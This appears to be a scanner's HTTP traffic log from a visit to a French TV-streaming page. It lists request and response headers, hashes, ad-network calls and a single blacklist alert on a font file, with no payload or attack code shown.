Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: application/font-woff
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 24516
Connection: keep-alive
Etag: "5fc4-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  data
Size:   24516
Md5:    b063915e2b78b626d2c1b4e20f299f19
Sha1:   1a59c5b4260ebd8f38df734f6d7ba19ae0deadef
Sha256: 34cf09403dc06bad173e24d991e275fca7aa399bacd7b158a4270fd00dc4c8e3

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /img/Prison-Break-Saison-5.jpg HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 9146
Connection: keep-alive
Last-Modified: Wed, 05 Apr 2017 17:21:31 GMT
Etag: "23ba-54c6e9f94dcc0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   9146
Md5:    ad07c086f40ded21cf073530b0a92a1a
Sha1:   5a3c2676a602f608d38dc03716426ff9a1b36ae7
Sha256: 0e89972413afc3d70b1aaf7680e0b80d54964fe8c9b82562b06e626eb9b6d88f
                                        
                                            GET /img/The-Magicians-Saison-2.jpg HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 7797
Connection: keep-alive
Last-Modified: Sun, 02 Apr 2017 09:24:03 GMT
Etag: "1e75-54c2b9a80f2c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   7797
Md5:    dac776bcab69ddefbfab923cade0d6e4
Sha1:   097426f810f629e81860ab0fff171655e23771dd
Sha256: 8cbc4644d89ad99a8be148f0bab2334a1d9bed74e6885242b3860c8fb0556a31
                                        
                                            GET /img/13-Reasons-Why-Saison-1.jpg HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 6688
Connection: keep-alive
Last-Modified: Fri, 14 Apr 2017 20:22:25 GMT
Etag: "1a20-54d26331a2240"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   6688
Md5:    c4808c951cf1a0ea1745fd0baaf3580b
Sha1:   55ff909a43fc18bf23557ac390323bae2d391e39
Sha256: cbc46da635be0a3656dda1a68e8a67bd49c579f77ff07d23b783cdd4dcc984f9
                                        
                                            GET /img/Riverdale-Saison-1.jpg HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 11945
Connection: keep-alive
Last-Modified: Fri, 14 Apr 2017 20:22:23 GMT
Etag: "2ea9-54d2632fb9dc0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, EXIF standard
Size:   11945
Md5:    98408e24a0cc058f285dcc1f60c2951b
Sha1:   6efb8d2cfaacecab55d8f9ba078f4c7c9135725c
Sha256: 9af669db1f7138a3cd85eb586a258db8f09782f878540c3a5c8b3865370682c5
                                        
                                            GET /wp-content/themes/streaming/images/google.jpg HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 493
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "1ed-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.02
Size:   493
Md5:    4c50a13bd69ae03457e9a82d5b317eda
Sha1:   c5b28feef1c91b8c9b95647690d5c155b55e3b2d
Sha256: 15dfb6e65686d134ffc91311488e51760b8f98497ec17b2500e1793d7b1b4948
                                        
                                            GET /script/pop.php?said=113130 HTTP/1.1 
Host: pubdirecte.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         192.230.77.234
HTTP/1.1 200 OK
Content-Type: text/html; charset=ISO-8859-1
                                        
Date: Fri, 09 Nov 2018 15:49:35 GMT
Server: Apache
Access-Control-Allow-Origin: *
P3P: policyref="http://www.pubdirecte.com/P3P.XML",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"
Set-Cookie: refsaid=113130; expires=Sat, 10-Nov-2018 15:49:35 GMT; path=/; domain=.pubdirecte.com visid_incap_224165=DryVpBAHR7ilvx+/d3C23Y6s5VsAAAAAQUIPAAAAAADGbp48IS7fHzQx8KPVAO9m; expires=Fri, 08 Nov 2019 18:09:10 GMT; path=/; Domain=.pubdirecte.com incap_ses_722_224165=W51aFC3Cl3AFJ55X2w8FCo6s5VsAAAAAb7TaYTJLflZDFatQ58sChw==; path=/; Domain=.pubdirecte.com ___utmvmsyuODtO=QUWnJkMrmgC; path=/; Max-Age=900 ___utmvasyuODtO=TWsdaAp; path=/; Max-Age=900 ___utmvbsyuODtO=aZo XoTOCalk: bty; path=/; Max-Age=900
Cache-Control: max-age=0
Expires: Fri, 09 Nov 2018 15:49:35 GMT
Connection: close
Transfer-Encoding: chunked
X-Iinfo: 4-2156023-2156024 NNNN CT(27 -1 0) RT(1541778574719 0) q(0 0 0 0) r(0 0) U2
X-CDN: Incapsula
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data
Size:   1402
Md5:    abcfe17c2349351e6b79c33b2fad15cc
Sha1:   a0942a8292f12d1de1d46319cd33266e974b134f
Sha256: 0cce96e7c8e9abe36ff58a5c755b5c65f3e43be2044d2b8917c9845441bc1b74
                                        
                                            GET /js/ad.js HTTP/1.1 
Host: js.srcsmrtgs.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         142.93.132.153
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
                                        
Connection: close
Proof: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Cache-Control: no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0
Etag: W/"1ef1-2tcg6MoljTRl1yXNz2K3HcjAUJo"
Vary: Accept-Encoding
Content-Encoding: gzip
Date: Fri, 09 Nov 2018 15:49:35 GMT
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3240
Md5:    9a7f737e20e580ea1884b0954cc9de0a
Sha1:   793af9f0ee7b0f52b0117ea0d1c0dbdccc8d0bf1
Sha256: f060d3813d5e9b01c837d52513cbe20b42c1225aa6c6924cfb56c2aacb0c9374
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 09 Nov 2018 15:49:35 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    f1d5c31c647f588c8f5a720630885403
Sha1:   653b8f70409e584f461f29db2af13e4f8c12f746
Sha256: 551afe0a39784019997d74be241c730283077203052e91141af0ac46b206ad34
                                        
                                            GET /wp-content/themes/streaming/images/tv.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/
Cookie: s1000201317=1,1541778575385; smrRecU=1541778575385

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 1050
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "41a-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 31 x 22, 8-bit/color RGBA, non-interlaced
Size:   1050
Md5:    e2803523b84c3e5f1ea8a9a4932f0273
Sha1:   a67601bdb3baf629b08433912976d12a6a30629d
Sha256: 38dd9a5575139247ec6290b29334ef6b1986eed64ab74f15b289c886865a4d5f
                                        
                                            GET /wp-content/themes/streaming/images/naka.jpg HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/
Cookie: s1000201317=1,1541778575385; smrRecU=1541778575385

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 343
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "157-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.02
Size:   343
Md5:    4698206656ca2a5134c7936b4aead0de
Sha1:   fdb5c760d9f759407ca3d423698d84dbe4010ba5
Sha256: 5fd7bc752e67ef7d506f0cb92e345ecf89446a0426dc43982645cc3ca31fd2bd
                                        
                                            GET /wp-content/themes/streaming/images/filmalt1.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/
Cookie: s1000201317=1,1541778575385; smrRecU=1541778575385

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 355
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "163-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 163 x 33, 8-bit grayscale, non-interlaced
Size:   355
Md5:    6e56ad78ae85b95a81231c9e03f89fe1
Sha1:   9dadaec60781eb72c2ff58c99c304dce03947807
Sha256: e6be079d03f4156e5d10111cba540fa42e03f675b6941fe7b6e167ec367cc664
                                        
                                            GET /wp-content/themes/streaming/images/filmalti2.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/
Cookie: s1000201317=1,1541778575385; smrRecU=1541778575385

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 974
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "3ce-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 131 x 46, 8-bit colormap, non-interlaced
Size:   974
Md5:    e850fae35aab476b8f66db34eff683e1
Sha1:   28670cf0048478cf592d30f3b839007543920da9
Sha256: fd9999374156d72412dcb04ccd547f232ff15352fc56848fe1b2bddcbc3e8035
                                        
                                            GET /wp-content/themes/streaming/images/nav-bullet.gif HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/
Cookie: s1000201317=1,1541778575385; smrRecU=1541778575385

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 300
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "12c-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 17 x 15
Size:   300
Md5:    3b3e4fbebaa1a72848461a6fb877f0b5
Sha1:   86e0b24be50fe88e7fa0db15c87e97185f445355
Sha256: 81acdface6933e412f41e5dcfc66c96da3b6d814560234718966a97ccf7da385
                                        
                                            GET /wp-admin/admin-ajax.php?action=ajax-hits-counter-increment&post_id=6688&t=1541778575260&r=28783 HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding, Accept-Encoding,User-Agent
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff, nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
X-XSS-Protection: 1; mode=block
X-Nginx-Cache-Status: BYPASS
X-Server-Powered-By: Engintron
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   26
Md5:    4d0fc81adf067df3fa805c78c0ea579a
Sha1:   3c1a7d872ece07ccf60aac0a5e9ddb3d41fe61d4
Sha256: c1925fd1a3b07aac12edf024e247859c5f08a28057f8b22a40d6593ebe768f1b
                                        
                                            GET /plugins/like.php?locale=fr_FR&href=http://dpseries.info/power-saison-1/&send=false&layout=standard&width=420&show_faces=false&action=like&colorscheme=dark&font&height=35 HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         31.13.72.36
HTTP/1.1 302 Found
Content-Type: text/html; charset="utf-8"
                                        
Location: https://www.facebook.com/plugins/like.php?locale=fr_FR&href=http%3A%2F%2Fdpseries.info%2Fpower-saison-1%2F&send=false&layout=standard&width=420&show_faces=false&action=like&colorscheme=dark&font&height=35
X-FB-Debug: 0Yo8qc4JGA9y4deG/WBe+oWLH/mzcsAjQOTa7vxyw66Dhdz0nVsRcIid+l5ths+k90JRBkWjr3kUSnvRxQQoWQ==
Date: Fri, 09 Nov 2018 15:49:35 GMT
Connection: keep-alive
Content-Length: 0


--- Additional Info ---
                                        
                                            POST /gsr2 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 112
Content-Type: application/ocsp-request

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 09 Nov 2018 15:49:35 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 468
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   468
Md5:    d9d754520ae3340aa37cca6115eee05b
Sha1:   a0320372760d99c762cb2eb4b37f776625ef1b33
Sha256: 7dc8284c51c9a38dc1bf03bd28857ea5336e8f5c564eddbb1c9082ee43c93738
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca4.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.19
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Thu, 08 Nov 2018 09:51:57 GMT
Etag: BFF6A3DE9B0F91C67C655D95506F52234186387F
X-OCSP-Responder-ID: rmdccaocsp21
Content-Length: 471
Cache-Control: public, no-transform, must-revalidate, max-age=496290
Expires: Thu, 15 Nov 2018 09:41:05 GMT
Date: Fri, 09 Nov 2018 15:49:35 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   471
Md5:    224b58627676f43c509b6e1caf858d5f
Sha1:   bff6a3de9b0f91c67c655d95506f52234186387f
Sha256: 15727e797c1ac1345143dd08b8f0e5f0119ad15f8c04f562c5af54b0c22cdc78
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca4.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.19
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Mon, 05 Nov 2018 09:27:34 GMT
Etag: F39B2270F941D5546998728E717E21E44102FDE7
X-OCSP-Responder-ID: rmdccaocsp16
Content-Length: 727
Cache-Control: public, no-transform, must-revalidate, max-age=235679
Expires: Mon, 12 Nov 2018 09:17:34 GMT
Date: Fri, 09 Nov 2018 15:49:35 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   727
Md5:    f33d11bb3516dfe9131b3f7b2ded93d9
Sha1:   f39b2270f941d5546998728e717e21e44102fde7
Sha256: 4724060b7fbbcd068c0c818ddcd1e5ed8b30b6d403d4893cc0e9fd43129f355c
                                        
                                            POST / HTTP/1.1 
Host: ocsp.usertrust.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.18
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Mon, 05 Nov 2018 09:27:34 GMT
Etag: E996CA4E8F395CBDD143B7F450F12B5C2577A315
X-OCSP-Responder-ID: rmdccaocsp21
Content-Length: 471
Cache-Control: public, no-transform, must-revalidate, max-age=235734
Expires: Mon, 12 Nov 2018 09:18:29 GMT
Date: Fri, 09 Nov 2018 15:49:35 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   471
Md5:    d5ad0cdca1daf4ee01f26fac9656846a
Sha1:   e996ca4e8f395cbdd143b7f450f12b5c2577a315
Sha256: 122ba43fb270c723f54d40877fa7bde5bbe7ae02fccda8f0295f7984bd457a21
                                        
                                            GET /ajax/libs/jquery/2.2.0/jquery.min.js HTTP/1.1 
Host: ajax.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         216.58.207.234
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 30089
Date: Thu, 01 Nov 2018 01:13:52 GMT
Expires: Fri, 01 Nov 2019 01:13:52 GMT
Last-Modified: Tue, 20 Dec 2016 18:17:03 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000
Age: 743743
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   30089
Md5:    d8bbd21c4cd416147acd9fea3e794226
Sha1:   7bf612a4c1ef3e5f0fe2bdd1a00c0267593a2364
Sha256: b981807fb739eab25062805474ad6068aff335ac6502c7c17ad4861311e6841d
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
